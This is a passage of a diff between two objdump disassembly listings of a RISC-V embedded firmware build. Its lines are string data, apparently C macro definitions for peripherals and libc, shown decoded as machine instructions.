-    30fc:	0029                	c.nop	10
-    30fe:	6566                	flw	fa0,88(sp)
-    3100:	755f666f          	jal	a2,fa054 <__stack_size+0xf9854>
-    3104:	6c6e                	flw	fs8,216(sp)
-    3106:	656b636f          	jal	t1,b975c <__stack_size+0xb8f5c>
-    310a:	2864                	fld	fs1,208(s0)
-    310c:	2970                	fld	fa2,208(a0)
-    310e:	5f20                	lw	s0,120(a4)
-    3110:	735f 6566 666f      	0x666f6566735f
-    3116:	7028                	flw	fa0,96(s0)
-    3118:	0029                	c.nop	10
-    311a:	5f5f 5942 4554      	0x455459425f5f
-    3120:	4f5f 4452 5245      	0x524544524f5f
-    3126:	5f5f 5f20 4f5f      	0x4f5f5f205f5f
-    312c:	4452                	lw	s0,20(sp)
-    312e:	5245                	li	tp,-15
-    3130:	4c5f 5449 4c54      	0x4c5454494c5f
-    3136:	5f45                	li	t5,-15
-    3138:	4e45                	li	t3,17
-    313a:	4944                	lw	s1,20(a0)
-    313c:	4e41                	li	t3,16
-    313e:	5f5f 5f00 555f      	0x555f5f005f5f
-    3144:	4e49                	li	t3,18
-    3146:	3654                	fld	fa3,168(a2)
-    3148:	5f34                	lw	a3,120(a4)
-    314a:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    314e:	6320                	flw	fs0,64(a4)
-    3150:	2320                	fld	fs0,64(a4)
-    3152:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
-    3156:	004c                	addi	a1,sp,4
-    3158:	685f 776f 616d      	0x616d776f685f
-    315e:	796e                	flw	fs2,248(sp)
-    3160:	7828                	flw	fa0,112(s0)
-    3162:	792c                	flw	fa1,112(a0)
-    3164:	2029                	jal	316e <__stack_size+0x296e>
-    3166:	2828                	fld	fa0,80(s0)
-    3168:	7828                	flw	fa0,112(s0)
-    316a:	2b29                	jal	3684 <__stack_size+0x2e84>
-    316c:	2828                	fld	fa0,80(s0)
-    316e:	2979                	jal	360c <__stack_size+0x2e0c>
-    3170:	312d                	jal	2d9a <__stack_size+0x259a>
-    3172:	2929                	jal	358c <__stack_size+0x2d8c>
-    3174:	2979282f          	0x2979282f
-    3178:	0029                	c.nop	10
-    317a:	5f5f 7274 6c79      	0x6c7972745f5f
-    3180:	736b636f          	jal	t1,b98b6 <__stack_size+0xb90b6>
-    3184:	655f 6378 756c      	0x756c6378655f
-    318a:	65766973          	csrrsi	s2,0x657,12
-    318e:	2e28                	fld	fa0,88(a2)
-    3190:	2e2e                	fld	ft8,200(sp)
-    3192:	2029                	jal	319c <__stack_size+0x299c>
-    3194:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    319a:	615f 6e6e 746f      	0x746f6e6e615f
-    31a0:	7461                	lui	s0,0xffff8
-    31a2:	2865                	jal	325a <__stack_size+0x2a5a>
-    31a4:	7865                	lui	a6,0xffff9
-    31a6:	73756c63          	bltu	a0,s7,38de <__stack_size+0x30de>
-    31aa:	7669                	lui	a2,0xffffa
-    31ac:	5f65                	li	t5,-7
-    31ae:	7274                	flw	fa3,100(a2)
-    31b0:	6c79                	lui	s8,0x1e
-    31b2:	5f6b636f          	jal	t1,b97a8 <__stack_size+0xb8fa8>
-    31b6:	7566                	flw	fa0,120(sp)
-    31b8:	636e                	flw	ft6,216(sp)
-    31ba:	6974                	flw	fa3,84(a0)
-    31bc:	5f286e6f          	jal	t3,897ae <__stack_size+0x88fae>
-    31c0:	565f 5f41 5241      	0x52415f41565f
-    31c6:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    31ca:	2929                	jal	35e4 <__stack_size+0x2de4>
-    31cc:	5f00                	lw	s0,56(a4)
-    31ce:	4c4e                	lw	s8,208(sp)
-    31d0:	4e49                	li	t3,18
-    31d2:	5f545f4b          	fnmsub.q	ft10,fs0,fs5,fa1,unknown
-    31d6:	4544                	lw	s1,12(a0)
-    31d8:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    31dc:	4445                	li	s0,17
-    31de:	0020                	addi	s0,sp,8
-    31e0:	616d                	addi	sp,sp,240
-    31e2:	6372                	flw	ft6,28(sp)
-    31e4:	6968                	flw	fa0,84(a0)
-    31e6:	0064                	addi	s1,sp,12
-    31e8:	5f5f 4953 455a      	0x455a49535f5f
-    31ee:	575f464f          	fnmadd.q	fa2,ft10,fs5,fa0,rmm
-    31f2:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    31f6:	545f 5f5f 3420      	0x34205f5f545f
-    31fc:	5f00                	lw	s0,56(a4)
-    31fe:	7566                	flw	fa0,120(sp)
-    3200:	6c6e                	flw	fs8,216(sp)
-    3202:	666b636f          	jal	t1,b9868 <__stack_size+0xb9068>
-    3206:	6c69                	lui	s8,0x1a
-    3208:	2865                	jal	32c0 <__stack_size+0x2ac0>
-    320a:	7066                	flw	ft0,120(sp)
-    320c:	2029                	jal	3216 <__stack_size+0x2a16>
-    320e:	2828                	fld	fa0,80(s0)
-    3210:	6628                	flw	fa0,72(a2)
-    3212:	2970                	fld	fa2,208(a0)
-    3214:	3e2d                	jal	2d4e <__stack_size+0x254e>
-    3216:	665f 616c 7367      	0x7367616c665f
-    321c:	2620                	fld	fs0,72(a2)
-    321e:	5f20                	lw	s0,120(a4)
-    3220:	535f 5453 2952      	0x29525453535f
-    3226:	3f20                	fld	fs0,120(a4)
-    3228:	3020                	fld	fs0,96(s0)
-    322a:	3a20                	fld	fs0,112(a2)
-    322c:	5f20                	lw	s0,120(a4)
-    322e:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    3234:	6572                	flw	fa0,28(sp)
-    3236:	656c                	flw	fa1,76(a0)
-    3238:	7361                	lui	t1,0xffff8
-    323a:	5f65                	li	t5,-7
-    323c:	6572                	flw	fa0,28(sp)
-    323e:	73727563          	bgeu	tp,s7,3968 <__stack_size+0x3168>
-    3242:	7669                	lui	a2,0xffffa
-    3244:	2865                	jal	32fc <__stack_size+0x2afc>
-    3246:	6628                	flw	fa0,72(a2)
-    3248:	2970                	fld	fa2,208(a0)
-    324a:	3e2d                	jal	2d84 <__stack_size+0x2584>
-    324c:	6c5f 636f 296b      	0x296b636f6c5f
-    3252:	0029                	c.nop	10
-    3254:	5f5f 4152 444e      	0x444e41525f5f
-    325a:	4d5f 5841 3020      	0x302058414d5f
-    3260:	3778                	fld	fa4,232(a4)
-    3262:	6666                	flw	fa2,88(sp)
-    3264:	6666                	flw	fa2,88(sp)
-    3266:	6666                	flw	fa2,88(sp)
-    3268:	0066                	c.slli	zero,0x19
-    326a:	545f 4d49 5645      	0x56454d49545f
-    3270:	4c41                	li	s8,16
-    3272:	445f 4645 4e49      	0x4e494645445f
-    3278:	4445                	li	s0,17
-    327a:	0020                	addi	s0,sp,8
-    327c:	5750                	lw	a2,44(a4)
-    327e:	5f4d                	li	t5,-13
-    3280:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    3284:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
-    3288:	544e4543          	0x544e4543
-    328c:	5245                	li	tp,-15
-    328e:	3020                	fld	fs0,96(s0)
-    3290:	3078                	fld	fa4,224(s0)
-    3292:	3030                	fld	fa2,96(s0)
-    3294:	3034                	fld	fa3,96(s0)
-    3296:	3030                	fld	fa2,96(s0)
-    3298:	0030                	addi	a2,sp,8
-    329a:	5f5f 4c46 5f54      	0x5f544c465f5f
-    32a0:	5645                	li	a2,-15
-    32a2:	4c41                	li	s8,16
-    32a4:	4d5f 5445 4f48      	0x4f4854454d5f
-    32aa:	5f44                	lw	s1,60(a4)
-    32ac:	5354                	lw	a3,36(a4)
-    32ae:	315f 3638 3136      	0x31363638315f
-    32b4:	335f 5f5f 3020      	0x30205f5f335f
-    32ba:	7300                	flw	fs0,32(a4)
-    32bc:	7274                	flw	fa3,100(a2)
-    32be:	636e                	flw	ft6,216(sp)
-    32c0:	7970                	flw	fa2,116(a0)
-    32c2:	5f00                	lw	s0,56(a4)
-    32c4:	555f 4e49 4d54      	0x4d544e49555f
-    32ca:	5841                	li	a6,-16
-    32cc:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    32d2:	3020                	fld	fs0,96(s0)
-    32d4:	6678                	flw	fa4,76(a2)
-    32d6:	6666                	flw	fa2,88(sp)
-    32d8:	6666                	flw	fa2,88(sp)
-    32da:	6666                	flw	fa2,88(sp)
-    32dc:	6666                	flw	fa2,88(sp)
-    32de:	6666                	flw	fa2,88(sp)
-    32e0:	6666                	flw	fa2,88(sp)
-    32e2:	6666                	flw	fa2,88(sp)
-    32e4:	5566                	lw	a0,120(sp)
-    32e6:	4c4c                	lw	a1,28(s0)
-    32e8:	4300                	lw	s0,0(a4)
-    32ea:	4d5f5253          	0x4d5f5253
-    32ee:	5048                	lw	a0,36(s0)
-    32f0:	434d                	li	t1,19
-    32f2:	544e554f          	0x544e554f
-    32f6:	5245                	li	tp,-15
-    32f8:	3632                	fld	fa2,296(sp)
-    32fa:	3220                	fld	fs0,96(a2)
-    32fc:	0031                	c.nop	12
-    32fe:	4155                	li	sp,21
-    3300:	5452                	lw	s0,52(sp)
-    3302:	525f 4358 5254      	0x52544358525f
-    3308:	204c                	fld	fa1,128(s0)
-    330a:	7830                	flw	fa2,112(s0)
-    330c:	6330                	flw	fa2,64(a4)
-    330e:	5f00                	lw	s0,56(a4)
-    3310:	4350                	lw	a2,4(a4)
-    3312:	415f 4c4c 434f      	0x434f4c4c415f
-    3318:	535f 5a49 5f45      	0x5f455a49535f
-    331e:	494d                	li	s2,19
-    3320:	204e                	fld	ft0,208(sp)
-    3322:	3531                	jal	312e <__stack_size+0x292e>
-    3324:	5f00                	lw	s0,56(a4)
-    3326:	495f 544e 5450      	0x5450544e495f
-    332c:	5f52                	lw	t5,52(sp)
-    332e:	5954                	lw	a3,52(a0)
-    3330:	4550                	lw	a2,12(a0)
-    3332:	5f5f 6920 746e      	0x746e69205f5f
-    3338:	5f00                	lw	s0,56(a4)
-    333a:	465f 544c 525f      	0x525f544c465f
-    3340:	4441                	li	s0,16
-    3342:	5849                	li	a6,-14
-    3344:	5f5f 3220 5f00      	0x5f0032205f5f
-    334a:	4c5f4353          	0x4c5f4353
-    334e:	5645                	li	a2,-15
-    3350:	4c45                	li	s8,17
-    3352:	5f32                	lw	t5,44(sp)
-    3354:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-    3358:	5f45                	li	t5,-15
-    335a:	455a4953          	0x455a4953
-    335e:	3120                	fld	fs0,96(a0)
-    3360:	4c003133          	0x4c003133
-    3364:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    3368:	424e                	lw	tp,208(sp)
-    336a:	3020                	fld	fs0,96(s0)
-    336c:	3078                	fld	fa4,224(s0)
-    336e:	0034                	addi	a3,sp,8
-    3370:	535f 5f43 4f58      	0x4f585f43535f
-    3376:	4550                	lw	a2,12(a0)
-    3378:	5f4e                	lw	t5,240(sp)
-    337a:	454c                	lw	a1,12(a0)
-    337c:	59434147          	fmsub.s	ft2,ft6,fs4,fa1,rmm
-    3380:	3920                	fld	fs0,112(a0)
-    3382:	0038                	addi	a4,sp,8
-    3384:	525f 4545 544e      	0x544e4545525f
-    338a:	435f 4548 4b43      	0x4b434548435f
-    3390:	545f 284d 7470      	0x7470284d545f
-    3396:	2972                	fld	fs2,280(sp)
-    3398:	0020                	addi	s0,sp,8
-    339a:	5442                	lw	s0,48(sp)
-    339c:	314e                	fld	ft2,240(sp)
-    339e:	495f 5152 3120      	0x31205152495f
-    33a4:	5f5f0037          	lui	zero,0x5f5f0
-    33a8:	6972                	flw	fs2,28(sp)
-    33aa:	5f766373          	csrrsi	t1,0x5f7,12
-    33ae:	756d                	lui	a0,0xffffb
-    33b0:	646c                	flw	fa1,76(s0)
-    33b2:	7669                	lui	a2,0xffffa
-    33b4:	3120                	fld	fs0,96(a0)
-    33b6:	4c00                	lw	s0,24(s0)
-    33b8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    33bc:	4f4c                	lw	a1,28(a4)
-    33be:	474e                	lw	a4,208(sp)
-    33c0:	4d5f 4e49 2820      	0x28204e494d5f
-    33c6:	4c2d                	li	s8,11
-    33c8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    33cc:	4f4c                	lw	a1,28(a4)
-    33ce:	474e                	lw	a4,208(sp)
-    33d0:	4d5f 5841 2d20      	0x2d2058414d5f
-    33d6:	3120                	fld	fs0,96(a0)
-    33d8:	4c4c                	lw	a1,28(s0)
-    33da:	0029                	c.nop	10
-    33dc:	4d44                	lw	s1,28(a0)
-    33de:	5f41                	li	t5,-16
-    33e0:	4142                	lw	sp,16(sp)
-    33e2:	30204553          	0x30204553
-    33e6:	3178                	fld	fa4,224(a0)
-    33e8:	3030                	fld	fa2,96(s0)
-    33ea:	3034                	fld	fa3,96(s0)
-    33ec:	3030                	fld	fa2,96(s0)
-    33ee:	0030                	addi	a2,sp,8
-    33f0:	525f 4545 544e      	0x544e4545525f
-    33f6:	495f 494e 5f54      	0x5f54494e495f
-    33fc:	5450                	lw	a2,44(s0)
-    33fe:	2852                	fld	fa6,272(sp)
-    3400:	6176                	flw	ft2,92(sp)
-    3402:	2972                	fld	fs2,280(sp)
-    3404:	7b20                	flw	fs0,112(a4)
-    3406:	6d20                	flw	fs0,88(a0)
-    3408:	6d65                	lui	s10,0x19
-    340a:	28746573          	csrrsi	a0,0x287,8
-    340e:	7628                	flw	fa0,104(a2)
-    3410:	7261                	lui	tp,0xffff8
-    3412:	2c29                	jal	362c <__stack_size+0x2e2c>
-    3414:	3020                	fld	fs0,96(s0)
-    3416:	202c                	fld	fa1,64(s0)
-    3418:	657a6973          	csrrsi	s2,0x657,20
-    341c:	2a28666f          	jal	a2,896be <__stack_size+0x88ebe>
-    3420:	7628                	flw	fa0,104(a2)
-    3422:	7261                	lui	tp,0xffff8
-    3424:	2929                	jal	383e <__stack_size+0x303e>
-    3426:	3b29                	jal	3140 <__stack_size+0x2940>
-    3428:	5f20                	lw	s0,120(a4)
-    342a:	4552                	lw	a0,20(sp)
-    342c:	4e45                	li	t3,17
-    342e:	5f54                	lw	a3,60(a4)
-    3430:	4e49                	li	t3,18
-    3432:	5449                	li	s0,-14
-    3434:	505f 5254 5a5f      	0x5a5f5254505f
-    343a:	5245                	li	tp,-15
-    343c:	2844454f          	fnmadd.s	fa0,fs0,ft4,ft5,rmm
-    3440:	6176                	flw	ft2,92(sp)
-    3442:	2972                	fld	fs2,280(sp)
-    3444:	007d203b          	0x7d203b
-    3448:	4e49                	li	t3,18
-    344a:	5f54                	lw	a3,60(a4)
-    344c:	4146                	lw	sp,80(sp)
-    344e:	32335453          	0x32335453
-    3452:	4d5f 4e49 5f00      	0x5f004e494d5f
-    3458:	465f 544c 3233      	0x3233544c465f
-    345e:	5f58                	lw	a4,60(a4)
-    3460:	414d                	li	sp,19
-    3462:	544e                	lw	s0,240(sp)
-    3464:	445f 4749 5f5f      	0x5f5f4749445f
-    346a:	3520                	fld	fs0,104(a0)
-    346c:	5f5f0033          	0x5f5f0033
-    3470:	454e                	lw	a0,208(sp)
-    3472:	42494c57          	0x42494c57
-    3476:	505f 5441 4843      	0x48435441505f
-    347c:	454c                	lw	a1,12(a0)
-    347e:	4556                	lw	a0,84(sp)
-    3480:	5f4c                	lw	a1,60(a4)
-    3482:	205f 0030 5f5f      	0x5f5f0030205f
-    3488:	6f6c                	flw	fa1,92(a4)
-    348a:	695f6b63          	bltu	t5,s5,3b20 <__stack_size+0x3320>
-    348e:	696e                	flw	fs2,216(sp)
-    3490:	5f74                	lw	a3,124(a4)
-    3492:	6572                	flw	fa0,28(sp)
-    3494:	73727563          	bgeu	tp,s7,3bbe <__stack_size+0x33be>
-    3498:	7669                	lui	a2,0xffffa
-    349a:	2865                	jal	3552 <__stack_size+0x2d52>
-    349c:	6f6c                	flw	fa1,92(a4)
-    349e:	20296b63          	bltu	s2,sp,36b4 <__stack_size+0x2eb4>
-    34a2:	2828                	fld	fa0,80(s0)
-    34a4:	6f76                	flw	ft10,92(sp)
-    34a6:	6469                	lui	s0,0x1a
-    34a8:	2029                	jal	34b2 <__stack_size+0x2cb2>
-    34aa:	2930                	fld	fa2,80(a0)
-    34ac:	5400                	lw	s0,40(s0)
-    34ae:	3020524f          	fnmadd.s	ft4,ft0,ft2,ft6,unknown
-    34b2:	3062                	fld	ft0,56(sp)
-    34b4:	3030                	fld	fa2,96(s0)
-    34b6:	3130                	fld	fa2,96(a0)
-    34b8:	3030                	fld	fa2,96(s0)
-    34ba:	0030                	addi	a2,sp,8
-    34bc:	495f 544e 3233      	0x3233544e495f
-    34c2:	545f 445f 4345      	0x4345445f545f
-    34c8:	414c                	lw	a1,4(a0)
-    34ca:	4552                	lw	a0,20(sp)
-    34cc:	2044                	fld	fs1,128(s0)
-    34ce:	5f00                	lw	s0,56(a4)
-    34d0:	495f 544e 575f      	0x575f544e495f
-    34d6:	4449                	li	s0,18
-    34d8:	4854                	lw	a3,20(s0)
-    34da:	5f5f 3320 0032      	0x3233205f5f
-    34e0:	52435f4f          	fnmadd.d	ft10,ft6,ft4,fa0,unknown
-    34e4:	4145                	li	sp,17
-    34e6:	2054                	fld	fa3,128(s0)
-    34e8:	465f 5243 4145      	0x41455243465f
-    34ee:	0054                	addi	a3,sp,4
-    34f0:	53495f53          	0x53495f53
-    34f4:	4955                	li	s2,21
-    34f6:	2044                	fld	fs1,128(s0)
-    34f8:	3030                	fld	fa2,96(s0)
-    34fa:	3430                	fld	fa2,104(s0)
-    34fc:	3030                	fld	fa2,96(s0)
-    34fe:	0030                	addi	a2,sp,8
-    3500:	4c55                	li	s8,21
-    3502:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    3506:	414d                	li	sp,19
-    3508:	2058                	fld	fa4,128(s0)
-    350a:	4c28                	lw	a0,88(s0)
-    350c:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    3510:	414d                	li	sp,19
-    3512:	2058                	fld	fa4,128(s0)
-    3514:	202a                	fld	ft0,136(sp)
-    3516:	5532                	lw	a0,44(sp)
-    3518:	204c                	fld	fa1,128(s0)
-    351a:	5531202b          	0x5531202b
-    351e:	294c                	fld	fa1,144(a0)
-    3520:	4300                	lw	s0,0(a4)
-    3522:	4f4c                	lw	a1,28(a4)
-    3524:	415f4b43          	fmadd.s	fs6,ft10,fs5,fs0,rmm
-    3528:	4c4c                	lw	a1,28(s0)
-    352a:	4445574f          	0x4445574f
-    352e:	3120                	fld	fs0,96(a0)
-    3530:	4600                	lw	s0,8(a2)
-    3532:	5f44                	lw	s1,60(a4)
-    3534:	28524c43          	fmadd.s	fs8,ft4,ft5,ft5,rmm
-    3538:	2c6e                	fld	fs8,216(sp)
-    353a:	2970                	fld	fa2,208(a0)
-    353c:	2820                	fld	fs0,80(s0)
-    353e:	7028                	flw	fa0,96(s0)
-    3540:	2d29                	jal	3b5a <__stack_size+0x335a>
-    3542:	663e                	flw	fa2,204(sp)
-    3544:	7364                	flw	fs1,100(a4)
-    3546:	625f 7469 5b73      	0x5b737469625f
-    354c:	6e28                	flw	fa0,88(a2)
-    354e:	2f29                	jal	3c68 <__stack_size+0x3468>
-    3550:	464e                	lw	a2,208(sp)
-    3552:	4244                	lw	s1,4(a2)
-    3554:	5449                	li	s0,-14
-    3556:	26205d53          	0x26205d53
-    355a:	203d                	jal	3588 <__stack_size+0x2d88>
-    355c:	287e                	fld	fa6,472(sp)
-    355e:	4c31                	li	s8,12
-    3560:	3c20                	fld	fs0,120(s0)
-    3562:	203c                	fld	fa5,64(s0)
-    3564:	2828                	fld	fa0,80(s0)
-    3566:	296e                	fld	fs2,216(sp)
-    3568:	2520                	fld	fs0,72(a0)
-    356a:	4e20                	lw	s0,88(a2)
-    356c:	4446                	lw	s0,80(sp)
-    356e:	4942                	lw	s2,16(sp)
-    3570:	5354                	lw	a3,36(a4)
-    3572:	2929                	jal	398c <__stack_size+0x318c>
-    3574:	0029                	c.nop	10
-    3576:	5f5f 4942 5f54      	0x5f5449425f5f
-    357c:	5954                	lw	a3,52(a0)
-    357e:	4550                	lw	a2,12(a0)
-    3580:	45445f53          	0x45445f53
-    3584:	4946                	lw	s2,80(sp)
-    3586:	454e                	lw	a0,208(sp)
-    3588:	5f44                	lw	s1,60(a4)
-    358a:	205f 0031 5343      	0x53430031205f
-    3590:	5f52                	lw	t5,52(sp)
-    3592:	564d                	li	a2,-13
-    3594:	4e45                	li	t3,17
-    3596:	4f44                	lw	s1,28(a4)
-    3598:	4952                	lw	s2,20(sp)
-    359a:	2044                	fld	fs1,128(s0)
-    359c:	0039                	c.nop	14
-    359e:	4f4e5f4f          	fnmadd.q	ft10,ft8,fs4,fs1,unknown
-    35a2:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
-    35a6:	5f20                	lw	s0,120(a4)
-    35a8:	4e46                	lw	t3,80(sp)
-    35aa:	5454434f          	0x5454434f
-    35ae:	0059                	c.nop	22
-    35b0:	58495f53          	0x58495f53
-    35b4:	5355                	li	t1,-11
-    35b6:	2052                	fld	ft0,272(sp)
-    35b8:	3030                	fld	fa2,96(s0)
-    35ba:	3030                	fld	fa2,96(s0)
-    35bc:	3031                	jal	2dc8 <__stack_size+0x25c8>
-    35be:	0030                	addi	a2,sp,8
-    35c0:	5f5f 4c46 3654      	0x36544c465f5f
-    35c6:	5f34                	lw	a3,120(a4)
-    35c8:	4944                	lw	s1,20(a0)
-    35ca:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    35ce:	3531                	jal	33da <__stack_size+0x2bda>
-    35d0:	4600                	lw	s0,8(a2)
-    35d2:	535f 5445 4446      	0x44465445535f
-    35d8:	3220                	fld	fs0,96(a2)
-    35da:	5f00                	lw	s0,56(a4)
-    35dc:	775f 6165 5f6b      	0x5f6b6165775f
-    35e2:	6572                	flw	fa0,28(sp)
-    35e4:	6566                	flw	fa0,88(sp)
-    35e6:	6572                	flw	fa0,28(sp)
-    35e8:	636e                	flw	ft6,216(sp)
-    35ea:	2865                	jal	36a2 <__stack_size+0x2ea2>
-    35ec:	2c6d7973          	csrrci	s2,0x2c6,26
-    35f0:	6c61                	lui	s8,0x18
-    35f2:	6169                	addi	sp,sp,208
-    35f4:	5f202973          	csrr	s2,0x5f2
-    35f8:	615f 6d73 5f5f      	0x5f5f6d73615f
-    35fe:	2228                	fld	fa0,64(a2)
-    3600:	772e                	flw	fa4,232(sp)
-    3602:	6165                	addi	sp,sp,112
-    3604:	2022206b          	0x2022206b
-    3608:	696c6123          	0x696c6123
-    360c:	7361                	lui	t1,0xffff8
-    360e:	3b29                	jal	3328 <__stack_size+0x2b28>
-    3610:	5f20                	lw	s0,120(a4)
-    3612:	615f 6d73 5f5f      	0x5f5f6d73615f
-    3618:	2228                	fld	fa0,64(a2)
-    361a:	652e                	flw	fa0,200(sp)
-    361c:	7571                	lui	a0,0xffffc
-    361e:	2220                	fld	fs0,64(a2)
-    3620:	2320                	fld	fs0,64(a4)
-    3622:	6c61                	lui	s8,0x18
-    3624:	6169                	addi	sp,sp,208
-    3626:	2c222073          	csrs	0x2c2,tp
-    362a:	2220                	fld	fs0,64(a2)
-    362c:	2320                	fld	fs0,64(a4)
-    362e:	296d7973          	csrrci	s2,0x296,26
-    3632:	5f00                	lw	s0,56(a4)
-    3634:	495f 544e 4c5f      	0x4c5f544e495f
-    363a:	4145                	li	sp,17
-    363c:	36315453          	0x36315453
-    3640:	575f 4449 4854      	0x48544449575f
-    3646:	5f5f 3120 0036      	0x3631205f5f
-    364c:	5f5f 695f 746e      	0x746e695f5f5f
-    3652:	3436                	fld	fs0,360(sp)
-    3654:	745f 645f 6665      	0x6665645f745f
-    365a:	6e69                	lui	t3,0x1a
-    365c:	6465                	lui	s0,0x19
-    365e:	3120                	fld	fs0,96(a0)
-    3660:	5f00                	lw	s0,56(a4)
-    3662:	4c5f4353          	0x4c5f4353
-    3666:	5645                	li	a2,-15
-    3668:	4c45                	li	s8,17
-    366a:	5f31                	li	t5,-20
-    366c:	4344                	lw	s1,4(a4)
-    366e:	4341                	li	t1,16
-    3670:	4548                	lw	a0,12(a0)
-    3672:	415f 5353 434f      	0x434f5353415f
-    3678:	3120                	fld	fs0,96(a0)
-    367a:	3932                	fld	fs2,296(sp)
-    367c:	5f00                	lw	s0,56(a4)
-    367e:	475f 554e 4c43      	0x4c43554e475f
-    3684:	4b49                	li	s6,18
-    3686:	5f45                	li	t5,-15
-    3688:	5542                	lw	a0,48(sp)
-    368a:	4c49                	li	s8,18
-    368c:	4954                	lw	a3,20(a0)
-    368e:	5f4e                	lw	t5,240(sp)
-    3690:	454e                	lw	a0,208(sp)
-    3692:	5458                	lw	a4,44(s0)
-    3694:	415f 4752 3120      	0x31204752415f
-    369a:	5f00                	lw	s0,56(a4)
-    369c:	4955                	li	s2,21
-    369e:	544e                	lw	s0,240(sp)
-    36a0:	3436                	fld	fs0,360(sp)
-    36a2:	545f 445f 4345      	0x4345445f545f
-    36a8:	414c                	lw	a1,4(a0)
-    36aa:	4552                	lw	a0,20(sp)
-    36ac:	2044                	fld	fs1,128(s0)
-    36ae:	5f00                	lw	s0,56(a4)
-    36b0:	725f 7369 7663      	0x76637369725f
-    36b6:	615f 6f74 696d      	0x696d6f74615f
-    36bc:	00312063          	0x312063
-    36c0:	505f 5f43 494c      	0x494c5f43505f
-    36c6:	4b4e                	lw	s6,208(sp)
-    36c8:	4d5f 5841 3020      	0x302058414d5f
-    36ce:	6900                	flw	fs0,16(a0)
-    36d0:	706e                	flw	ft0,248(sp)
-    36d2:	7475                	lui	s0,0xffffd
-    36d4:	696c                	flw	fa1,84(a0)
-    36d6:	656e                	flw	fa0,216(sp)
-    36d8:	5f00                	lw	s0,56(a4)
-    36da:	465f 544c 3233      	0x3233544c465f
-    36e0:	5f58                	lw	a4,60(a4)
-    36e2:	4544                	lw	s1,12(a0)
-    36e4:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    36e8:	5f4c                	lw	a1,60(a4)
-    36ea:	4944                	lw	s1,20(a0)
-    36ec:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    36f0:	3731                	jal	35fc <__stack_size+0x2dfc>
-    36f2:	5f00                	lw	s0,56(a4)
-    36f4:	4c42                	lw	s8,16(sp)
-    36f6:	544e434b          	0x544e434b
-    36fa:	545f 445f 4345      	0x4345445f545f
-    3700:	414c                	lw	a1,4(a0)
-    3702:	4552                	lw	a0,20(sp)
-    3704:	2044                	fld	fs1,128(s0)
-    3706:	5f00                	lw	s0,56(a4)
-    3708:	475f 4343 415f      	0x415f4343475f
-    370e:	4f54                	lw	a3,28(a4)
-    3710:	494d                	li	s2,19
-    3712:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
-    3716:	5241                	li	tp,-16
-    3718:	545f3233          	0x545f3233
-    371c:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    2d40:	7974                	flw	fa3,116(a0)
+    2d42:	6570                	flw	fa2,76(a0)
+    2d44:	745f 6761 6b28      	0x6b286761745f
+    2d4a:	6e69                	lui	t3,0x1a
+    2d4c:	2c64                	fld	fs1,216(s0)
+    2d4e:	7974                	flw	fa3,116(a0)
+    2d50:	6570                	flw	fa2,76(a0)
+    2d52:	2029                	jal	2d5c <__stack_size+0x255c>
+    2d54:	5000                	lw	s0,32(s0)
+    2d56:	494c                	lw	a1,20(a0)
+    2d58:	41555f43          	fmadd.s	ft10,fa0,fs5,fs0,unknown
+    2d5c:	5452                	lw	s0,52(sp)
+    2d5e:	525f 5f58 4f53      	0x4f535f58525f
+    2d64:	5255                	li	tp,-11
+    2d66:	33204543          	fmadd.d	fa0,ft0,fs2,ft6,rmm
+    2d6a:	5f00                	lw	s0,56(a4)
+    2d6c:	4350                	lw	a2,4(a4)
+    2d6e:	545f 4d49 5345      	0x53454d49545f
+    2d74:	4154                	lw	a3,4(a0)
+    2d76:	504d                	c.li	zero,-13
+    2d78:	525f 5345 4c4f      	0x4c4f5345525f
+    2d7e:	5455                	li	s0,-11
+    2d80:	4f49                	li	t5,18
+    2d82:	204e                	fld	ft0,208(sp)
+    2d84:	3032                	fld	ft0,296(sp)
+    2d86:	5f00                	lw	s0,56(a4)
+    2d88:	535f 464f 2046      	0x2046464f535f
+    2d8e:	7830                	flw	fa2,112(s0)
+    2d90:	3031                	jal	259c <__stack_size+0x1d9c>
+    2d92:	3030                	fld	fa2,96(s0)
+    2d94:	4300                	lw	s0,0(a4)
+    2d96:	4f4c                	lw	a1,28(a4)
+    2d98:	445f4b43          	0x445f4b43
+    2d9c:	5349                	li	t1,-14
+    2d9e:	4c41                	li	s8,16
+    2da0:	4f4c                	lw	a1,28(a4)
+    2da2:	20444557          	0x20444557
+    2da6:	0030                	addi	a2,sp,8
+    2da8:	5f5f 424f 4f53      	0x4f53424f5f5f
+    2dae:	454c                	lw	a1,12(a0)
+    2db0:	4554                	lw	a3,12(a0)
+    2db2:	4d5f 5441 5f48      	0x5f4854414d5f
+    2db8:	4544                	lw	s1,12(a0)
+    2dba:	4146                	lw	sp,80(sp)
+    2dbc:	4c55                	li	s8,21
+    2dbe:	2054                	fld	fa3,128(s0)
+    2dc0:	0031                	c.nop	12
+    2dc2:	5f5f 6f62 6e75      	0x6e756f625f5f
+    2dc8:	6564                	flw	fs1,76(a0)
+    2dca:	2064                	fld	fs1,192(s0)
+    2dcc:	5f00                	lw	s0,56(a4)
+    2dce:	575f 4e49 5f54      	0x5f544e49575f
+    2dd4:	5954                	lw	a3,52(a0)
+    2dd6:	4550                	lw	a2,12(a0)
+    2dd8:	5f5f 7520 736e      	0x736e75205f5f
